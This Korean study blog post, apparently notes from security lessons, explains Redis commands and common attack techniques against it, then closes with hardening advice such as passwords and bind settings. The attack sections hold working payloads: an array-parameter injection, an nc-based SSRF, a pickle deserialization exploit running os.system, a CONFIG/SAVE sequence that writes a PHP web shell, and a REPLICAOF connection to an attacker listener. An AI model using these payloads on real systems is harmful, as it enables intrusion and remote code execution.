[2025-07-23] Redis

🦥 본문

Redis

메모리 기반의 Key-Value 저장소. 오픈소스 NoSQL 데이터베이스.

명령어

  • 데이터 조작 명령어

| 명령어 | 구조 | 설명 | | — | — | — | | GET | GET key | 데이터 조회 | | MGET | MGET key [key ...] | 여러 데이터를 조회 | | SET | SET key value | 새로운 데이터 추가 | | MSET | MSET key value [key value ...] | 여러 데이터를 추가 | | DEL | DEL key [key ...] | 데이터 삭제 | | EXISTS | EXISTS key [key ...] | 데이터 유무 확인 | | INCR | INCR key | 데이터 값에 1 더함 | | DECR | DECR key | 데이터 값에 1 뺌 |

  • DBMS 관리 명령어
명령어 구조 설명
INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정 입력

공격 기법

  • NodeJS redis 모듈의 Command 처리 방법 중 배열 처리 코드
if (Array.isArray(arguments[0])) {
    arr = arguments[0];
    if (len === 2) {
        callback = arguments[1];
    }
}
return this.internal_send_command(new Command(command, arr, callback));

위의 코드는 첫 번째 인자가 배열인 경우에 arr에 할당한다. 만약 두 번째 인자가 있다면 callback에 할당한다. 그래서 다음과 같이 작동한다.

redis.set(....)

Command("set", ...);

//문자열 타입일 경우
Command("set", "key", "value", callback)
-> SET key value  작동

//배열의 경우
Command("set", ["key", "value"], callback)
-> SET key value가 작동

이 점을 이용하여 공격 방식은 다음과 같다

http://localhost:3000/init?uid[]=test&uid[]={"level":"admin"}

uid = ["test", '{"level":"admin"}']

redis.set(uid)
Command("set", ["test", '{"level":"admin"}'])
SET test {"level":"admin"}

//로그인을 하는 기능
const userData = JSON.parse(redis.get("test"));
if (userData.level === "admin") {
  // 관리자 권한 부여
}

공격 기법 : SSRF

Redis는 기본적으로 인증 수단이 존재하지 않아 인증 과정 없이 명령어를 실행할 수 있다.

$ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379
-ERR unknown command 'anydata:'
$5
world
  • echo -e를 통해 여러 줄의 텍스트를 생성하고 nc를 통해 Redis(127.0.0.1 6379)에 보내게 된다.
  • 첫 번째 명령어인 anydata는 유효하지 않은 데이터이므로 Error가 나온다
  • 두 번째 명령어인 get hello는 전달되어 Redis에서 Get hello로 작동한다.
    • hello라는 키 값을 찾고 value 값인 world를 출력한다
    • world의 바이트 수를 출력한다.

위와 같이 잘못된 명령어가 있어도 그 다음 명령어들을 실행시키는 Redis의 특성을 이용하여 Redis에 HTTP 프로토콜을 보내어 공격하는 방법이 있다.

POST / HTTP/1.1
host: 127.0.0.1:6379
user-agent: Mozilla/5.0...
content-type: application/x-www-form-urlencoded
data=a
SET key value
...
  • POST / HTTP/1.1 같은 명령어들은 모르겠지만 Body에 Redis 명령어를 삽입하면 작동하게 해당 명령어들이 작동하게 된다.

하지만 일부 키워드를 감지하고 연결을 끊어 다음 명령어가 실행되지 않게 패치되었다.

공격 기법 : django-redis-cache

Djangon에서 Redis를 이용하여 Cache를 구현할 수 있는 파이썬 모듈이다. p_set 함수에서 cache.set 함수를 사용하여 키를 생성한다. 저장할 때에는 기본적으로 pickle 직렬화를 한다

  • options에서 selrializer_class를 통해 직렬화할 클래스를 정할 수 있다.
    • 대표적인 모듈로 pickle과 yaml이 존재
  • pickle 직렬화 : JSON이나 객체를 python만 알아볼 수 있는 바이너리로 바꾸는 것

→ 역직렬화 과정을 악용하여 악의적인 행위를 수행하거나, 특정 상황에서 호출되는 메소드를 이용해 공격할 수 있다.

object.__reduce__()는 객체 계층 구조를 unpickling 할 때 객체를 재구성하는 튜플을 반환하는 메소드로 호출 가능한 객체를 반환할 수 있다. 이 때 system 같이 명령어를 실행할 수 있는 함수를 반환하면 시스템 명령어를 실행시킬 수 있다.

import pickle
import os
class TestClass:
  def __reduce__(self):
  	return os.system, ("id", )
ClassA = TestClass()
# ClassA 직렬화
ClassA_dump = pickle.dumps(ClassA)
print(ClassA_dump)
# 역직렬화
pickle.loads(ClassA_dump)

$ python3 pickleExploit.py
b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

공격 기법 : 명령어

  • SAVE 명령어 : 메모리의 휘발성 때문에 파일 시스템에 저장하는 명령어. 다른 Redis 명령어를 통해 파일 저장 경로, 주기, 이름, 데이터 등을 설정할 수 있다.

      CONFIG set dir /tmp
      CONFIG set dbfilename redis.php
      SET test "<?php system($_GET['cmd']); ?>"
      SAVE
        
      $ ls -al redis.php 
      -rw-rw---- 1 redis redis 57 May 17 16:59 redis.php
      $ xxd redis.php 
      00000000: 5245 4449 5330 3030 36fe 0000 0474 6573  REDIS0006....tes
      00000010: 741e 3c3f 7068 7020 7379 7374 656d 2824  t.<?php system($
      00000020: 5f47 4554 5b27 636d 6427 5d29 3b20 3f3e  _GET['cmd']); ?>
      00000030: ffef 0fe2 9f24 c9b8 a3                   .....$...
    
    • 위와 같이 /tmp 경로에 webshell을 실행시킬 수 있는 redis.php 파일을 저장한다.
  • SLAVEOF / REPLICAOF : 마스터-슬레이브 관계를 맺을 수 있으며, 연결을 맺으면 마스터 노드의 데이터를 복제하고 저장한다. 둘 다 같은 명령어이지만 REPLICAOF를 권장한다.

      SLAVEOF 127.0.0.1 8888
      REPLICAOF 127.0.0.1 8888
    
    • 동작 흐름
      1. 슬레이브 Redis 인스턴스는 지정한 IP와 포트로 TCP 연결을 시도
      2. 슬레이브가 마스터에게 PING을 보내고 마스터는 PONG으로 응답하여 마스터가 정상인 지 테스트
      3. 상태에 따라 일부분 동기화 혹은 전체 복제(스냅샷을 통해)를 진행
    • 공격자 서버

        $ nc -l 8888 -kv
        Listening on [0.0.0.0] (family 0, port 8888)
        Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 52613)
        PING
      
      • 이 때 마스터를 공격 서버에서 8888에서 대기하여 PING을 수신 받으면 Redis가 접속했다는 것.

      → SSRF 공격 성공

  • MODULE LOAD : 동적 모듈을 외부에서 로드해서 실행 가능한 기능을 확장할 때 사용하는 명령어.

      $ redis-cli
      127.0.0.1:6379> module load /var/lib/redis/module.so
      OK
      127.0.0.1:6379> module list
      1) 1) "name"
         2) "example"
         3) "ver"
         4) (integer) 1
      127.0.0.1:6379> EXAMPLE.TEST
      PASS
    
    • 위의 코드는 커스텀 모듈을 로드하고 다른 모듈인 example을 실행하는 코드.
    • 공격을 위해서는 Redis 클라이언트가 접근할 수 있는 라이브러리를 업로드 생성할 수 있어야 함.

주의 사항

  • 인증 과정 추가 : redis.conf 파일을 통해 DBMS 설정 관리. 비밀번호 지정 가능

      $ cat /etc/redis/redis.conf 
      ... 
      requirepass pass1234
    
    • 파일을 설정을 적용하면 AUTH 명령어를 통해 인증 과정을 거침
      $ sudo service redis-server restart
      ...
      $ redis-cli
      127.0.0.1:6379> keys *
      (error) NOAUTH Authentication required.
      127.0.0.1:6379> AUTH pass1234
      OK
      127.0.0.1:6379> keys *
      1) "foo"
    
    • 추가적으로 멀티 유저와 Access Control List(접근 권한 제어)를 통해 접근 제어를 설정
  • 바인딩 : 기본적으로 127.0.0.1 이지만 외부 접속이 가능해야할 때도 있음. 설정 파일에서 BIND 를 통해 바인딩 주소 변경

      # 기본 설정
      BIND 127.0.0.1
      # 위험한 설정
      # BIND 127.0.0.1 # 주석 처리  모든 IP 접속을 허용 -> 취약점
      BIND 0.0.0.0
      # 기능적으로 허용해야 하는 경우 권고 설정, 
      # IP 지정을 통해 해당 IP만 허용하며 허용하는 IP에 대한 주기적인 확인이 필요합니다.
      BIND 192.168.1.2 127.0.0.1
    
  • 중복 키 사용 : 키 명칭이 중복되는 경우 문제 발생.

    • Redis는 DB를 인덱스로 구분. 0~16

        r0 = redis.createClient({ db: 0 }); // db 0 연결
        r1 = redis.createClient({ db: 1 }); // db 1 연결
        r0.select(1, function(err){...});   // db 0 에서 1로 변경
      
    • 캐시를 구현할 때 타입(유저 정보, 인증 정보, 임시 데이터..) 별로 서버를 분리하지 않으면 문제 발생.
    • 키 명칭을 구분자 없이 사용하거나 이용자 입력값으로 키 명칭으로 사용할 때 문제 발생
    • EX) 이용자의 메일 인증 정보와 인증 횟수 코드

        SET key value
        # 사용자 메일 인증 번호 저장 
        SET {email} {random number}
        # 사용자 메일 인증 횟수 저장 
        SET {email}_count 0
      
        //1. user1@dreamhack.io_count 입력 
        user1@dreamhack.io_count = {random number}
        user1@dreamhack.io_count_count = 0  
              
        //2. user1@dreamhack.io 입력.
        //  -> 기존의 user1@dreamhack.io_count의 랜덤숫자가 0이 됨.
        user1@dreamhack.io_count = 0
        user1@dreamhack.io_count_count = 0
        user1@dreamhack.io = {random number}
      

Categories:

Updated:

Leave a comment